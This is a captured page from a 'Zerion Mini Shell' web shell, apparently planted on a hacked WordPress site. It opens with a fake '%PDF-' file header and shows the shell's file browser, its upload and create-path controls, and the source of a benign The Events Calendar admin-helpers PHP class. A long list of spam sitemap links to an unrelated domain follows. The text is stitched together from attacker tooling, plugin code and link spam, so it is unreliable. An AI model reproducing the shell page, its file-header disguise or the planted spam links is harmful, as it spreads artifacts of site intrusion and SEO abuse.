%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom645759/wp-content/plugins/the-events-calendar/common/src/Tribe/Admin/
Upload File :
Create Path :
Current File : //dom645759/wp-content/plugins/the-events-calendar/common/src/Tribe/Admin/Helpers.php

<?php

// Don't load directly
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 * Class with a few helpers for the Administration Pages
 */
class Tribe__Admin__Helpers {
	/**
	 * Static Singleton Holder
	 * @var Tribe__Admin__Helpers|null
	 */
	protected static $instance;

	/**
	 * Static Singleton Factory Method
	 *
	 * @return Tribe__Admin__Helpers
	 */
	public static function instance() {
		if ( empty( self::$instance ) ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	/**
	 * Check if the current screen is an instance of WP_Screen
	 * Hijack the return for tests
	 *
	 * @since 4.9.5
	 *
	 * @return boolean
	 */
	public function is_wp_screen() {
		global $current_screen;

		/**
		 * Filter `tribe_admin_is_wp_screen`
		 * Allows fo filter if we're on a WP_Screen
		 *
		 * @since 4.9.5
		 * @param bool    null bypass if we want to return a bool of is_wp_scren
		 */
		$is_wp_screen = apply_filters( 'tribe_admin_is_wp_screen', null );
		if ( null !== $is_wp_screen ) {
			return $is_wp_screen;
		}

		return (bool) ( $current_screen instanceof WP_Screen );
	}

	/**
	 * Matcher for Admin Pages related to Post Types
	 *
	 * @param string|array|null $post_type The post type to check.
	 *
	 * @return boolean
	 */
	public function is_post_type_screen( $post_type = null ) {
		global $current_screen;

		// Not in the admin we don't even care
		if ( ! is_admin() ) {
			return false;
		}

		// Doing AJAX? bail.
		if ( tribe( 'context' )->doing_ajax() ) {
			return false;
		}

		// Avoid Notices by checking the object type of WP_Screen
		if ( ! $this->is_wp_screen() ) {
			return false;
		}

		$defaults = apply_filters( 'tribe_is_post_type_screen_post_types', Tribe__Main::get_post_types() );

		// Match any Post Type from Tribe
		if ( is_null( $post_type ) && in_array( $current_screen->post_type, $defaults ) ) {
			return true;
		}

		// Match any of the post_types set
		if ( ! is_scalar( $post_type ) && in_array( $current_screen->post_type, (array) $post_type ) ) {
			return true;
		}

		// Match a specific Post Type
		if ( $current_screen->post_type === $post_type ) {
			return true;
		}

		return false;
	}

	/**
	 * Matcher for administration pages that are from Tribe the easier way
	 *
	 * @param string|array|null $id What will be checked to see if we return true or false.
	 *
	 * @return boolean
	 */
	public function is_screen( $id = null ) {
		global $current_screen;

		// Not in the admin we don't even care
		if ( ! is_admin() ) {
			return false;
		}

		// Doing AJAX? bail.
		if ( tribe( 'context' )->doing_ajax() ) {
			return false;
		}

		// Avoid Notices by checking the object type of WP_Screen.
		if ( ! $this->is_wp_screen() ) {
			return false;
		}

		// Match any screen from Tribe.
		if ( is_null( $id ) && false !== strpos( $current_screen->id, 'tribe' ) ) {
			return true;
		}

		// Match any screen from TEC.
		if ( is_null( $id ) && false !== strpos( $current_screen->id, 'tec' ) ) {
			return true;
		}

		// Match any of the pages set
		if ( ! is_scalar( $id ) && in_array( $current_screen->id, (array) $id ) ) {
			return true;
		}

		// Match a specific page.
		if ( $current_screen->id === $id ) {
			return true;
		}

		// Match any post type page in the supported post types.
		$defaults = apply_filters( 'tribe_is_post_type_screen_post_types', Tribe__Main::get_post_types() );
		if ( in_array( $current_screen->post_type, $defaults ) ) {
			return true;
		}
		return false;

	}

	/**
	 * Matcher for administration pages action
	 *
	 * @param string|array|null $action What will be checked to see if we return true or false
	 *
	 * @return boolean
	 */
	public function is_action( $action = null ) {
		global $current_screen;

		// Not in the admin we don't even care
		if ( ! is_admin() ) {
			return false;
		}

		// Doing AJAX? bail.
		if ( tribe( 'context' )->doing_ajax() ) {
			return false;
		}

		// Avoid Notices by checking the object type of WP_Screen
		if ( ! $this->is_wp_screen() ) {
			return false;
		}

		// Match any of the pages set
		if ( ! is_scalar( $action ) && in_array( $current_screen->action, (array) $action ) ) {
			return true;
		}

		// Match a specific page
		if ( $current_screen->action === $action ) {
			return true;
		}

		return false;
	}
}

Zerion Mini Shell 1.0
https://louisvillegop.com/sitemap38.xml 2026-12-01 https://louisvillegop.com/sitemap86.xml 2026-12-01 https://louisvillegop.com/sitemap821.xml 2026-12-01 https://louisvillegop.com/sitemap384.xml 2026-12-01 https://louisvillegop.com/sitemap838.xml 2026-12-01 https://louisvillegop.com/sitemap795.xml 2026-12-01 https://louisvillegop.com/sitemap47.xml 2026-12-01 https://louisvillegop.com/sitemap562.xml 2026-12-01 https://louisvillegop.com/sitemap106.xml 2026-12-01 https://louisvillegop.com/sitemap263.xml 2026-12-01 https://louisvillegop.com/sitemap11.xml 2026-12-01 https://louisvillegop.com/sitemap565.xml 2026-12-01 https://louisvillegop.com/sitemap599.xml 2026-12-01 https://louisvillegop.com/sitemap892.xml 2026-12-01 https://louisvillegop.com/sitemap304.xml 2026-12-01 https://louisvillegop.com/sitemap288.xml 2026-12-01 https://louisvillegop.com/sitemap458.xml 2026-12-01 https://louisvillegop.com/sitemap672.xml 2026-12-01 https://louisvillegop.com/sitemap954.xml 2026-12-01 https://louisvillegop.com/sitemap147.xml 2026-12-01 https://louisvillegop.com/sitemap864.xml 2026-12-01 https://louisvillegop.com/sitemap697.xml 2026-12-01 https://louisvillegop.com/sitemap207.xml 2026-12-01 https://louisvillegop.com/sitemap245.xml 2026-12-01 https://louisvillegop.com/sitemap74.xml 2026-12-01 https://louisvillegop.com/sitemap281.xml 2026-12-01 https://louisvillegop.com/sitemap221.xml 2026-12-01 https://louisvillegop.com/sitemap923.xml 2026-12-01 https://louisvillegop.com/sitemap522.xml 2026-12-01 https://louisvillegop.com/sitemap922.xml 2026-12-01 https://louisvillegop.com/sitemap998.xml 2026-12-01 https://louisvillegop.com/sitemap628.xml 2026-12-01 https://louisvillegop.com/sitemap196.xml 2026-12-01 https://louisvillegop.com/sitemap372.xml 2026-12-01 https://louisvillegop.com/sitemap212.xml 2026-12-01 https://louisvillegop.com/sitemap449.xml 2026-12-01 https://louisvillegop.com/sitemap152.xml 2026-12-01 https://louisvillegop.com/sitemap259.xml 2026-12-01 https://louisvillegop.com/sitemap402.xml 2026-12-01 https://louisvillegop.com/sitemap950.xml 2026-12-01 https://louisvillegop.com/sitemap591.xml 2026-12-01 https://louisvillegop.com/sitemap314.xml 2026-12-01 https://louisvillegop.com/sitemap158.xml 2026-12-01 https://louisvillegop.com/sitemap978.xml 2026-12-01 https://louisvillegop.com/sitemap509.xml 2026-12-01 https://louisvillegop.com/sitemap648.xml 2026-12-01 https://louisvillegop.com/sitemap883.xml 2026-12-01 https://louisvillegop.com/sitemap318.xml 2026-12-01 https://louisvillegop.com/sitemap148.xml 2026-12-01 https://louisvillegop.com/sitemap149.xml 2026-12-01 https://louisvillegop.com/sitemap605.xml 2026-12-01 https://louisvillegop.com/sitemap910.xml 2026-12-01 https://louisvillegop.com/sitemap289.xml 2026-12-01 https://louisvillegop.com/sitemap4.xml 2026-12-01 https://louisvillegop.com/sitemap58.xml 2026-12-01 https://louisvillegop.com/sitemap103.xml 2026-12-01 https://louisvillegop.com/sitemap547.xml 2026-12-01 https://louisvillegop.com/sitemap723.xml 2026-12-01 https://louisvillegop.com/sitemap493.xml 2026-12-01 https://louisvillegop.com/sitemap677.xml 2026-12-01 https://louisvillegop.com/sitemap206.xml 2026-12-01 https://louisvillegop.com/sitemap603.xml 2026-12-01 https://louisvillegop.com/sitemap837.xml 2026-12-01 https://louisvillegop.com/sitemap530.xml 2026-12-01 https://louisvillegop.com/sitemap940.xml 2026-12-01 https://louisvillegop.com/sitemap455.xml 2026-12-01 https://louisvillegop.com/sitemap884.xml 2026-12-01 https://louisvillegop.com/sitemap481.xml 2026-12-01 https://louisvillegop.com/sitemap178.xml 2026-12-01 https://louisvillegop.com/sitemap793.xml 2026-12-01